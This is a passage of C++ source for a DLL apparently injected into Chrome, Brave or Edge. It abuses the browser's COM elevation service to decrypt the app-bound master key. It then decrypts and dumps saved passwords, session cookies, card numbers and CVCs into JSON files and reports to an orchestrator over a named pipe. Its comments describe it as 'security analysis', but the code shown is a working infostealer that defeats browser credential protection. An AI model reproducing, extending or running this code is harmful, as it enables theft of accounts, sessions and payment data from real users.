{0x1FCBE96C, 0x1697, 0x43AF, {0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67}},
|
|
||||||
{0xC9C2B807, 0x7731, 0x4F34, {0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B}},
|
|
||||||
fs::path("Microsoft") / "Edge" / "User Data"}}
|
|
||||||
};
|
|
||||||
return browser_configs;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Detect current browser process configuration from runtime environment
|
|
||||||
Config GetConfigForCurrentProcess()
|
|
||||||
{
|
|
||||||
char exePath[MAX_PATH] = {0};
|
|
||||||
GetModuleFileNameA(NULL, exePath, MAX_PATH);
|
|
||||||
std::string processName = fs::path(exePath).filename().string();
|
|
||||||
std::transform(processName.begin(), processName.end(), processName.begin(), ::tolower);
|
|
||||||
|
|
||||||
const auto& configs = GetConfigs();
|
|
||||||
if (processName == "chrome.exe") return configs.at("chrome");
|
|
||||||
if (processName == "brave.exe") return configs.at("brave");
|
|
||||||
if (processName == "msedge.exe") return configs.at("edge");
|
|
||||||
|
|
||||||
throw std::runtime_error("Unsupported host process: " + processName);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
namespace Crypto
|
|
||||||
{
|
|
||||||
// Cryptographic constants for AES-GCM decryption operations
|
|
||||||
constexpr size_t KEY_SIZE = 32;
|
|
||||||
constexpr size_t GCM_IV_LENGTH = 12;
|
|
||||||
constexpr size_t GCM_TAG_LENGTH = 16;
|
|
||||||
const uint8_t KEY_PREFIX[] = {'A', 'P', 'P', 'B'};
|
|
||||||
|
|
||||||
// Support for multiple encryption format versions
|
|
||||||
const std::string V10_PREFIX = "v10";
|
|
||||||
const std::string V20_PREFIX = "v20";
|
|
||||||
|
|
||||||
// Simple RAII wrapper for BCrypt algorithm handle
|
|
||||||
class BCryptAlgorithm
|
|
||||||
{
|
|
||||||
public:
|
|
||||||
BCryptAlgorithm() { BCryptOpenAlgorithmProvider(&handle, BCRYPT_AES_ALGORITHM, nullptr, 0); }
|
|
||||||
~BCryptAlgorithm() { if (handle) BCryptCloseAlgorithmProvider(handle, 0); }
|
|
||||||
operator BCRYPT_ALG_HANDLE() const { return handle; }
|
|
||||||
bool IsValid() const { return handle != nullptr; }
|
|
||||||
private:
|
|
||||||
BCRYPT_ALG_HANDLE handle = nullptr;
|
|
||||||
};
|
|
||||||
|
|
||||||
// Simple RAII wrapper for BCrypt key handle
|
|
||||||
class BCryptKey
|
|
||||||
{
|
|
||||||
public:
|
|
||||||
BCryptKey(BCRYPT_ALG_HANDLE alg, const std::vector<uint8_t>& key)
|
|
||||||
{
|
|
||||||
BCryptGenerateSymmetricKey(alg, &handle, nullptr, 0,
|
|
||||||
const_cast<PUCHAR>(key.data()), static_cast<ULONG>(key.size()), 0);
|
|
||||||
}
|
|
||||||
~BCryptKey() { if (handle) BCryptDestroyKey(handle); }
|
|
||||||
operator BCRYPT_KEY_HANDLE() const { return handle; }
|
|
||||||
bool IsValid() const { return handle != nullptr; }
|
|
||||||
private:
|
|
||||||
BCRYPT_KEY_HANDLE handle = nullptr;
|
|
||||||
};
|
|
||||||
|
|
||||||
// Decrypt GCM-encrypted data using AES-GCM algorithm (supports v10 and v20 formats)
|
|
||||||
std::vector<uint8_t> DecryptGcm(const std::vector<uint8_t>& key, const std::vector<uint8_t>& blob)
|
|
||||||
{
|
|
||||||
// Auto-detect encryption format version
|
|
||||||
std::string detectedPrefix;
|
|
||||||
size_t prefixLength = 0;
|
|
||||||
|
|
||||||
if (blob.size() >= 3)
|
|
||||||
{
|
|
||||||
if (memcmp(blob.data(), V10_PREFIX.c_str(), V10_PREFIX.length()) == 0)
|
|
||||||
{
|
|
||||||
detectedPrefix = V10_PREFIX;
|
|
||||||
prefixLength = V10_PREFIX.length();
|
|
||||||
}
|
|
||||||
else if (memcmp(blob.data(), V20_PREFIX.c_str(), V20_PREFIX.length()) == 0)
|
|
||||||
{
|
|
||||||
detectedPrefix = V20_PREFIX;
|
|
||||||
prefixLength = V20_PREFIX.length();
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
return {};
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
return {};
|
|
||||||
}
|
|
||||||
|
|
||||||
const size_t GCM_OVERHEAD_LENGTH = prefixLength + GCM_IV_LENGTH + GCM_TAG_LENGTH;
|
|
||||||
if (blob.size() < GCM_OVERHEAD_LENGTH)
|
|
||||||
return {};
|
|
||||||
|
|
||||||
// Initialize BCrypt AES-GCM cryptographic provider
|
|
||||||
BCryptAlgorithm algorithm;
|
|
||||||
if (!algorithm.IsValid())
|
|
||||||
return {};
|
|
||||||
|
|
||||||
BCryptSetProperty(algorithm, BCRYPT_CHAINING_MODE,
|
|
||||||
reinterpret_cast<PUCHAR>(const_cast<wchar_t*>(BCRYPT_CHAIN_MODE_GCM)),
|
|
||||||
sizeof(BCRYPT_CHAIN_MODE_GCM), 0);
|
|
||||||
|
|
||||||
// Generate symmetric key from raw key material
|
|
||||||
BCryptKey cryptoKey(algorithm, key);
|
|
||||||
if (!cryptoKey.IsValid())
|
|
||||||
return {};
|
|
||||||
|
|
||||||
// Extract cryptographic components from blob
|
|
||||||
const uint8_t* iv = blob.data() + prefixLength;
|
|
||||||
const uint8_t* ct = iv + GCM_IV_LENGTH;
|
|
||||||
const uint8_t* tag = blob.data() + (blob.size() - GCM_TAG_LENGTH);
|
|
||||||
ULONG ct_len = static_cast<ULONG>(blob.size() - prefixLength - GCM_IV_LENGTH - GCM_TAG_LENGTH);
|
|
||||||
|
|
||||||
// Configure GCM authenticated encryption parameters
|
|
||||||
BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo;
|
|
||||||
BCRYPT_INIT_AUTH_MODE_INFO(authInfo);
|
|
||||||
authInfo.pbNonce = const_cast<PUCHAR>(iv);
|
|
||||||
authInfo.cbNonce = GCM_IV_LENGTH;
|
|
||||||
authInfo.pbTag = const_cast<PUCHAR>(tag);
|
|
||||||
authInfo.cbTag = GCM_TAG_LENGTH;
|
|
||||||
|
|
||||||
// Perform authenticated decryption with integrity verification
|
|
||||||
std::vector<uint8_t> plain(ct_len > 0 ? ct_len : 1);
|
|
||||||
ULONG outLen = 0;
|
|
||||||
|
|
||||||
NTSTATUS status = BCryptDecrypt(cryptoKey, const_cast<PUCHAR>(ct), ct_len, &authInfo,
|
|
||||||
nullptr, 0, plain.data(), static_cast<ULONG>(plain.size()), &outLen, 0);
|
|
||||||
if (!NT_SUCCESS(status))
|
|
||||||
return {};
|
|
||||||
|
|
||||||
plain.resize(outLen);
|
|
||||||
return plain;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Extract and validate encrypted master key from Local State configuration
|
|
||||||
std::vector<uint8_t> GetEncryptedMasterKey(const fs::path& localStatePath)
|
|
||||||
{
|
|
||||||
std::ifstream f(localStatePath, std::ios::binary);
|
|
||||||
if (!f)
|
|
||||||
throw std::runtime_error("Could not open Local State file.");
|
|
||||||
|
|
||||||
std::string content((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
|
|
||||||
const std::string tag = "\"app_bound_encrypted_key\":\"";
|
|
||||||
size_t pos = content.find(tag);
|
|
||||||
if (pos == std::string::npos)
|
|
||||||
throw std::runtime_error("app_bound_encrypted_key not found.");
|
|
||||||
|
|
||||||
pos += tag.length();
|
|
||||||
size_t end_pos = content.find('"', pos);
|
|
||||||
if (end_pos == std::string::npos)
|
|
||||||
throw std::runtime_error("Malformed app_bound_encrypted_key.");
|
|
||||||
|
|
||||||
auto optDecoded = Utils::Base64Decode(content.substr(pos, end_pos - pos));
|
|
||||||
if (!optDecoded)
|
|
||||||
throw std::runtime_error("Base64 decoding of key failed.");
|
|
||||||
|
|
||||||
auto& decodedData = *optDecoded;
|
|
||||||
if (decodedData.size() < sizeof(KEY_PREFIX) ||
|
|
||||||
memcmp(decodedData.data(), KEY_PREFIX, sizeof(KEY_PREFIX)) != 0)
|
|
||||||
{
|
|
||||||
throw std::runtime_error("Key prefix validation failed.");
|
|
||||||
}
|
|
||||||
return {decodedData.begin() + sizeof(KEY_PREFIX), decodedData.end()};
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
namespace Data
|
|
||||||
{
|
|
||||||
constexpr size_t COOKIE_PLAINTEXT_HEADER_SIZE = 32;
|
|
||||||
|
|
||||||
// Function pointer types for extraction operations
|
|
||||||
typedef std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>>(*PreQuerySetupFunc)(sqlite3*);
|
|
||||||
typedef std::optional<std::string>(*JsonFormatterFunc)(sqlite3_stmt*, const std::vector<uint8_t>&, void*);
|
|
||||||
|
|
||||||
// Configuration structure for database extraction operations
|
|
||||||
struct ExtractionConfig
|
|
||||||
{
|
|
||||||
fs::path dbRelativePath;
|
|
||||||
std::string outputFileName;
|
|
||||||
std::string sqlQuery;
|
|
||||||
PreQuerySetupFunc preQuerySetup;
|
|
||||||
JsonFormatterFunc jsonFormatter;
|
|
||||||
};
|
|
||||||
|
|
||||||
// Pre-query setup for payment cards - loads CVC data
|
|
||||||
std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>> SetupPaymentCards(sqlite3* db)
|
|
||||||
{
|
|
||||||
auto cvcMap = std::make_shared<std::unordered_map<std::string, std::vector<uint8_t>>>();
|
|
||||||
sqlite3_stmt* stmt = nullptr;
|
|
||||||
if (sqlite3_prepare_v2(db, "SELECT guid, value_encrypted FROM local_stored_cvc;", -1, &stmt, nullptr) != SQLITE_OK)
|
|
||||||
return cvcMap;
|
|
||||||
|
|
||||||
while (sqlite3_step(stmt) == SQLITE_ROW)
|
|
||||||
{
|
|
||||||
const char* guid = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0));
|
|
||||||
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 1));
|
|
||||||
if (guid && blob)
|
|
||||||
(*cvcMap)[guid] = {blob, blob + sqlite3_column_bytes(stmt, 1)};
|
|
||||||
}
|
|
||||||
sqlite3_finalize(stmt);
|
|
||||||
return cvcMap;
|
|
||||||
}
|
|
||||||
|
|
||||||
// JSON formatter for cookies
|
|
||||||
std::optional<std::string> FormatCookie(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
|
|
||||||
{
|
|
||||||
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 6));
|
|
||||||
if (!blob) return std::nullopt;
|
|
||||||
|
|
||||||
auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 6)});
|
|
||||||
if (plain.size() <= COOKIE_PLAINTEXT_HEADER_SIZE)
|
|
||||||
return std::nullopt;
|
|
||||||
|
|
||||||
const char* value_start = reinterpret_cast<const char*>(plain.data()) + COOKIE_PLAINTEXT_HEADER_SIZE;
|
|
||||||
size_t value_size = plain.size() - COOKIE_PLAINTEXT_HEADER_SIZE;
|
|
||||||
|
|
||||||
std::ostringstream json_entry;
|
|
||||||
json_entry << " {\"host\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0))) << "\""
|
|
||||||
<< ",\"name\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) << "\""
|
|
||||||
<< ",\"path\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 2))) << "\""
|
|
||||||
<< ",\"value\":\"" << Utils::EscapeJson({value_start, value_size}) << "\""
|
|
||||||
<< ",\"expires\":" << sqlite3_column_int64(stmt, 5)
|
|
||||||
<< ",\"secure\":" << (sqlite3_column_int(stmt, 3) ? "true" : "false")
|
|
||||||
<< ",\"httpOnly\":" << (sqlite3_column_int(stmt, 4) ? "true" : "false")
|
|
||||||
<< "}";
|
|
||||||
return json_entry.str();
|
|
||||||
}
|
|
||||||
|
|
||||||
// JSON formatter for passwords
|
|
||||||
std::optional<std::string> FormatPassword(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
|
|
||||||
{
|
|
||||||
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 2));
|
|
||||||
if (!blob) return std::nullopt;
|
|
||||||
|
|
||||||
auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 2)});
|
|
||||||
return " {\"origin\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0))) +
|
|
||||||
"\",\"username\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) +
|
|
||||||
"\",\"password\":\"" + Utils::EscapeJson({reinterpret_cast<char*>(plain.data()), plain.size()}) + "\"}";
|
|
||||||
}
|
|
||||||
|
|
||||||
// JSON formatter for payment cards
|
|
||||||
std::optional<std::string> FormatPayment(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
|
|
||||||
{
|
|
||||||
auto cvcMap = reinterpret_cast<std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>>*>(state);
|
|
||||||
std::string card_num_str, cvc_str;
|
|
||||||
|
|
||||||
// Decrypt primary card number
|
|
||||||
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 4));
|
|
||||||
if (blob)
|
|
||||||
{
|
|
||||||
auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 4)});
|
|
||||||
card_num_str.assign(reinterpret_cast<char*>(plain.data()), plain.size());
|
|
||||||
}
|
|
||||||
|
|
||||||
// Decrypt associated CVC if available
|
|
||||||
const char* guid = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0));
|
|
||||||
if (guid && cvcMap && (*cvcMap)->count(guid))
|
|
||||||
{
|
|
||||||
auto plain = Crypto::DecryptGcm(key, (*cvcMap)->at(guid));
|
|
||||||
cvc_str.assign(reinterpret_cast<char*>(plain.data()), plain.size());
|
|
||||||
}
|
|
||||||
|
|
||||||
return " {\"name_on_card\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) +
|
|
||||||
"\",\"expiration_month\":" + std::to_string(sqlite3_column_int(stmt, 2)) +
|
|
||||||
",\"expiration_year\":" + std::to_string(sqlite3_column_int(stmt, 3)) +
|
|
||||||
",\"card_number\":\"" + Utils::EscapeJson(card_num_str) +
|
|
||||||
"\",\"cvc\":\"" + Utils::EscapeJson(cvc_str) + "\"}";
|
|
||||||
}
|
|
||||||
|
|
||||||
// Comprehensive extraction configurations for different browser data types
|
|
||||||
const std::vector<ExtractionConfig>& GetExtractionConfigs()
|
|
||||||
{
|
|
||||||
static const std::vector<ExtractionConfig> configs = {
|
|
||||||
// Browser cookie extraction configuration
|
|
||||||
{fs::path("Network") / "Cookies", "cookies",
|
|
||||||
"SELECT host_key, name, path, is_secure, is_httponly, expires_utc, encrypted_value FROM cookies;",
|
|
||||||
nullptr, FormatCookie},
|
|
||||||
|
|
||||||
// Stored password extraction configuration
|
|
||||||
{"Login Data", "passwords",
|
|
||||||
"SELECT origin_url, username_value, password_value FROM logins;",
|
|
||||||
nullptr, FormatPassword},
|
|
||||||
|
|
||||||
// Payment card information extraction configuration
|
|
||||||
{"Web Data", "payments",
|
|
||||||
"SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards;",
|
|
||||||
SetupPaymentCards, FormatPayment}
|
|
||||||
};
|
|
||||||
return configs;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Named pipe communication interface with orchestrator process
|
|
||||||
class PipeLogger
|
|
||||||
{
|
|
||||||
public:
|
|
||||||
explicit PipeLogger(LPCWSTR pipeName)
|
|
||||||
{
|
|
||||||
m_pipe = CreateFileW(pipeName, GENERIC_WRITE | GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr);
|
|
||||||
}
|
|
||||||
|
|
||||||
~PipeLogger()
|
|
||||||
{
|
|
||||||
if (m_pipe != INVALID_HANDLE_VALUE)
|
|
||||||
{
|
|
||||||
Log("__DLL_PIPE_COMPLETION_SIGNAL__");
|
|
||||||
FlushFileBuffers(m_pipe);
|
|
||||||
CloseHandle(m_pipe);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
bool isValid() const noexcept { return m_pipe != INVALID_HANDLE_VALUE; }
|
|
||||||
|
|
||||||
// Send diagnostic message to orchestrator
|
|
||||||
void Log(const std::string& message)
|
|
||||||
{
|
|
||||||
if (isValid())
|
|
||||||
{
|
|
||||||
DWORD bytesWritten = 0;
|
|
||||||
WriteFile(m_pipe, message.c_str(), static_cast<DWORD>(message.length() + 1), &bytesWritten, nullptr);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
HANDLE getHandle() const noexcept { return m_pipe; }
|
|
||||||
|
|
||||||
private:
|
|
||||||
HANDLE m_pipe = INVALID_HANDLE_VALUE;
|
|
||||||
};
|
|
||||||
|
|
||||||
// Browser configuration and path management
|
|
||||||
class BrowserManager
|
|
||||||
{
|
|
||||||
public:
|
|
||||||
BrowserManager() : m_config(Browser::GetConfigForCurrentProcess()) {}
|
|
||||||
|
|
||||||
const Browser::Config& getConfig() const noexcept { return m_config; }
|
|
||||||
|
|
||||||
// Resolve user data root directory for current browser configuration
|
|
||||||
fs::path getUserDataRoot() const
|
|
||||||
{
|
|
||||||
return Utils::GetLocalAppDataPath() / m_config.userDataSubPath;
|
|
||||||
}
|
|
||||||
|
|
||||||
private:
|
|
||||||
Browser::Config m_config;
|
|
||||||
};
|
|
||||||
|
|
||||||
// Master key decryption service using COM elevation interfaces
|
|
||||||
class MasterKeyDecryptor
|
|
||||||
{
|
|
||||||
public:
|
|
||||||
explicit MasterKeyDecryptor(PipeLogger& logger) : m_logger(logger)
|
|
||||||
{
|
|
||||||
if (FAILED(CoInitializeEx(NULL, COINIT_APARTMENTTHREADED)))
|
|
||||||
{
|
|
||||||
throw std::runtime_error("Failed to initialize COM library.");
|
|
||||||
}
|
|
||||||
m_comInitialized = true;
|
|
||||||
m_logger.Log("[+] COM library initialized (APARTMENTTHREADED).");
|
|
||||||
}
|
|
||||||
|
|
||||||
~MasterKeyDecryptor()
|
|
||||||
{
|
|
||||||
if (m_comInitialized)
|
|
||||||
{
|
|
||||||
CoUninitialize();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Decrypt master key using browser-specific COM elevation service
|
|
||||||
std::vector<uint8_t> Decrypt(const Browser::Config& config, const fs::path& localStatePath)
|
|
||||||
{
|
|
||||||
m_logger.Log("[*] Reading Local State file: " + StringUtils::path_to_string(localStatePath));
|
|
||||||
auto encryptedKeyBlob = Crypto::GetEncryptedMasterKey(localStatePath);
|
|
||||||
|
|
||||||
// Prepare encrypted key as BSTR for COM interface
|
|
||||||
BSTR bstrEncKey = SysAllocStringByteLen(reinterpret_cast<const char*>(encryptedKeyBlob.data()),
|
|
||||||
static_cast<UINT>(encryptedKeyBlob.size()));
|
|
||||||
if (!bstrEncKey)
|
|
||||||
throw std::runtime_error("SysAllocStringByteLen for encrypted key failed.");
|
|
||||||
|
|
||||||
BSTR bstrPlainKey = nullptr;
|
|
||||||
HRESULT hr = E_FAIL;
|
|
||||||
DWORD comErr = 0;
|
|
||||||
|
|
||||||
m_logger.Log("[*] Attempting to decrypt master key via " + config.name + "'s COM server...");
|
|
||||||
|
|
||||||
// Use Edge-specific COM elevation interface
|
|
||||||
if (config.name == "Edge")
|
|
||||||
{
|
|
||||||
Microsoft::WRL::ComPtr<IEdgeElevatorFinal> elevator;
|
|
||||||
hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator);
|
|
||||||
if (SUCCEEDED(hr))
|
|
||||||
{
|
|
||||||
CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
|
|
||||||
COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
|
||||||
RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING);
|
|
||||||
hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
// Use Chrome/Brave COM elevation interface
|
|
||||||
else
|
|
||||||
{
|
|
||||||
Microsoft::WRL::ComPtr<IOriginalBaseElevator> elevator;
|
|
||||||
hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator);
|
|
||||||
if (SUCCEEDED(hr))
|
|
||||||
{
|
|
||||||
CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
|
|
||||||
COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
|
||||||
RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING);
|
|
||||||
hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Cleanup and validate COM decryption operation result
|
|
||||||
SysFreeString(bstrEncKey);
|
|
||||||
|
|
||||||
if (FAILED(hr) || !bstrPlainKey || SysStringByteLen(bstrPlainKey) != Crypto::KEY_SIZE)
|
|
||||||
{
|
|
||||||
if (bstrPlainKey) SysFreeString(bstrPlainKey);
|
|
||||||
std::ostringstream oss;
|
|
||||||
oss << "IElevator->DecryptData failed. HRESULT: 0x" << std::hex << hr;
|
|
||||||
throw std::runtime_error(oss.str());
|
|
||||||
}
|
|
||||||
|
|
||||||
// Extract raw AES key bytes from BSTR
|
|
||||||
std::vector<uint8_t> aesKey(Crypto::KEY_SIZE);
|
|
||||||
memcpy(aesKey.data(), bstrPlainKey, Crypto::KEY_SIZE);
|
|
||||||
SysFreeString(bstrPlainKey);
|
|
||||||
return aesKey;
|
|
||||||
}
|
|
||||||
|
|
||||||
private:
|
|
||||||
PipeLogger& m_logger;
|
|
||||||
bool m_comInitialized = false;
|
|
||||||
};
|
|
||||||
|
|
||||||
// Browser profile discovery and enumeration service
|
|
||||||
class ProfileEnumerator
|
|
||||||
{
|
|
||||||
public:
|
|
||||||
ProfileEnumerator(const fs::path& userDataRoot, PipeLogger& logger)
|
|
||||||
: m_userDataRoot(userDataRoot), m_logger(logger) {}
|
|
||||||
|
|
||||||
// Discover all browser profiles containing extractable databases
|
|
||||||
std::vector<fs::path> FindProfiles()
|
|
||||||
{
|
|
||||||
m_logger.Log("[*] Discovering browser profiles in: " + StringUtils::path_to_string(m_userDataRoot));
|
|
||||||
std::vector<fs::path> profilePaths;
|
|
||||||
|
|
||||||
// Check if directory contains extractable database files
|
|
||||||
auto isProfileDirectory = [](const fs::path& path)
|
|
||||||
{
|
|
||||||
for (const auto& dataCfg : Data::GetExtractionConfigs())
|
|
||||||
{
|
|
||||||
if (fs::exists(path / dataCfg.dbRelativePath))
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
return false;
|
|
||||||
};
|
|
||||||
|
|
||||||
// Check if root directory qualifies as a profile
|
|
||||||
if (isProfileDirectory(m_userDataRoot))
|
|
||||||
{
|
|
||||||
profilePaths.push_back(m_userDataRoot);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Scan for profile subdirectories with database content
|
|
||||||
std::error_code ec;
|
|
||||||
for (const auto& entry : fs::directory_iterator(m_userDataRoot, ec))
|
|
||||||
{
|
|
||||||
if (!ec && entry.is_directory() && isProfileDirectory(entry.path()))
|
|
||||||
{
|
|
||||||
profilePaths.push_back(entry.path());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (ec)
|
|
||||||
{
|
|
||||||
m_logger.Log("[-] Filesystem ERROR during profile discovery: " + ec.message());
|
|
||||||
}
|
|
||||||
|
|
||||||
// Remove duplicates using sort + unique instead of std::set
|
|
||||||
std::sort(profilePaths.begin(), profilePaths.end());
|
|
||||||
profilePaths.erase(std::unique(profilePaths.begin(), profilePaths.end()), profilePaths.end());
|
|
||||||
|
|
||||||
m_logger.Log("[+] Found " + std::to_string(profilePaths.size()) + " profile(s).");
|
|
||||||
return profilePaths;
|
|
||||||
}
|
|
||||||
|
|
||||||
private:
|
|
||||||
fs::path m_userDataRoot;
|
|
||||||
PipeLogger& m_logger;
|
|
||||||
};
|
|
||||||
|
|
||||||
// Database content extraction service using SQLite interface
|
|
||||||
class DataExtractor
|
|
||||||
{
|
|
||||||
public:
|
|
||||||
DataExtractor(const fs::path& profilePath, const Data::ExtractionConfig& config,
|
|
||||||
const std::vector<uint8_t>& aesKey, PipeLogger& logger,
|
|
||||||
const fs::path& baseOutputPath, const std::string& browserName)
|
|
||||||
: m_profilePath(profilePath), m_config(config), m_aesKey(aesKey),
|
|
||||||
m_logger(logger), m_baseOutputPath(baseOutputPath), m_browserName(browserName) {}
|
|
||||||
|
|
||||||
// Extract and decrypt data from browser database
|
|
||||||
void Extract()
|
|
||||||
{
|
|
||||||
fs::path dbPath = m_profilePath / m_config.dbRelativePath;
|
|
||||||
if (!fs::exists(dbPath))
|
|
||||||
return;
|
|
||||||
|
|
||||||
// Open database with nolock parameter for live extraction without file locking
|
|
||||||
sqlite3* db = nullptr;
|
|
||||||
std::string uriPath = "file:" + StringUtils::path_to_string(dbPath) + "?nolock=1";
|
|
||||||
std::replace(uriPath.begin(), uriPath.end(), '\\', '/');
|
|
||||||
|
|
||||||
if (sqlite3_open_v2(uriPath.c_str(), &db, SQLITE_OPEN_READONLY | SQLITE_OPEN_URI, nullptr) != SQLITE_OK)
|
|
||||||
{
|
|
||||||
m_logger.Log("[-] Failed to open database " + StringUtils::path_to_string(dbPath) +
|
|
||||||
": " + (db ? sqlite3_errmsg(db) : "N/A"));
|
|
||||||
if (db) sqlite3_close_v2(db);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Prepare SQL query for data extraction
|
|
||||||
sqlite3_stmt* stmt = nullptr;
|
|
||||||
if (sqlite3_prepare_v2(db, m_config.sqlQuery.c_str(), -1, &stmt, nullptr) != SQLITE_OK)
|
|
||||||
{
|
|
||||||
sqlite3_close_v2(db);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Execute pre-query setup if needed (e.g., for payment card CVCs)
|
|
||||||
void* preQueryState = nullptr;
|
|
||||||
std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>> cvcMap;
|
|
||||||
if (m_config.preQuerySetup)
|
|
||||||
{
|
|
||||||
cvcMap = m_config.preQuerySetup(db);
|
|
||||||
preQueryState = &cvcMap;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Extract and format data entries using custom formatters
|
|
||||||
std::vector<std::string> jsonEntries;
|
|
||||||
while (sqlite3_step(stmt) == SQLITE_ROW)
|
|
||||||
{
|
|
||||||
if (auto jsonEntry = m_config.jsonFormatter(stmt, m_aesKey, preQueryState))
|
|
||||||
{
|
|
||||||
jsonEntries.push_back(*jsonEntry);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sqlite3_finalize(stmt);
|
|
||||||
sqlite3_close_v2(db);
|
|
||||||
|
|
||||||
// Write extraction results to structured JSON output file
|
|
||||||
if (!jsonEntries.empty())
|
|
||||||
{
|
|
||||||
fs::path outFilePath = m_baseOutputPath / m_browserName / m_profilePath.filename() /
|
|
||||||
(m_config.outputFileName + ".json");
|
|
||||||
|
|
||||||
std::error_code ec;
|
|
||||||
fs::create_directories(outFilePath.parent_path(), ec);
|
|
||||||
if (ec)
|
|
||||||
{
|
|
||||||
m_logger.Log("[-] Failed to create directory: " + StringUtils::path_to_string(outFilePath.parent_path()));
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
std::ofstream out(outFilePath, std::ios::trunc);
|
|
||||||
if (!out) return;
|
|
||||||
|
|
||||||
out << "[\n";
|
|
||||||
for (size_t i = 0; i < jsonEntries.size(); ++i)
|
|
||||||
{
|
|
||||||
out << jsonEntries[i] << (i == jsonEntries.size() - 1 ? "" : ",\n");
|
|
||||||
}
|
|
||||||
out << "\n]\n";
|
|
||||||
|
|
||||||
m_logger.Log(" [*] " + std::to_string(jsonEntries.size()) + " " + m_config.outputFileName +
|
|
||||||
" extracted to " + StringUtils::path_to_string(outFilePath));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private:
|
|
||||||
fs::path m_profilePath;
|
|
||||||
const Data::ExtractionConfig& m_config;
|
|
||||||
const std::vector<uint8_t>& m_aesKey;
|
|
||||||
PipeLogger& m_logger;
|
|
||||||
fs::path m_baseOutputPath;
|
|
||||||
std::string m_browserName;
|
|
||||||
};
|
|
||||||
|
|
||||||
// Main orchestrator for browser security analysis operations
|
|
||||||
class SecurityOrchestrator
|
|
||||||
{
|
|
||||||
public:
|
|
||||||
explicit SecurityOrchestrator(LPCWSTR lpcwstrPipeName) : m_logger(lpcwstrPipeName)
|
|
||||||
{
|
|
||||||
if (!m_logger.isValid())
|
|
||||||
{
|
|
||||||
throw std::runtime_error("Failed to connect to named pipe from orchestrator.");
|
|
||||||
}
|
|
||||||
ReadPipeParameters();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Execute complete browser security analysis workflow
|
|
||||||
void Run()
|
|
||||||
{
|
|
||||||
BrowserManager browserManager;
|
|
||||||
const auto& browserConfig = browserManager.getConfig();
|
|
||||||
m_logger.Log("[*] Security analysis process started for " + browserConfig.name);
|
|
||||||
|
|
||||||
// Decrypt master key using COM elevation service
|
|
||||||
std::vector<uint8_t> aesKey;
|
|
||||||
{
|
|
||||||
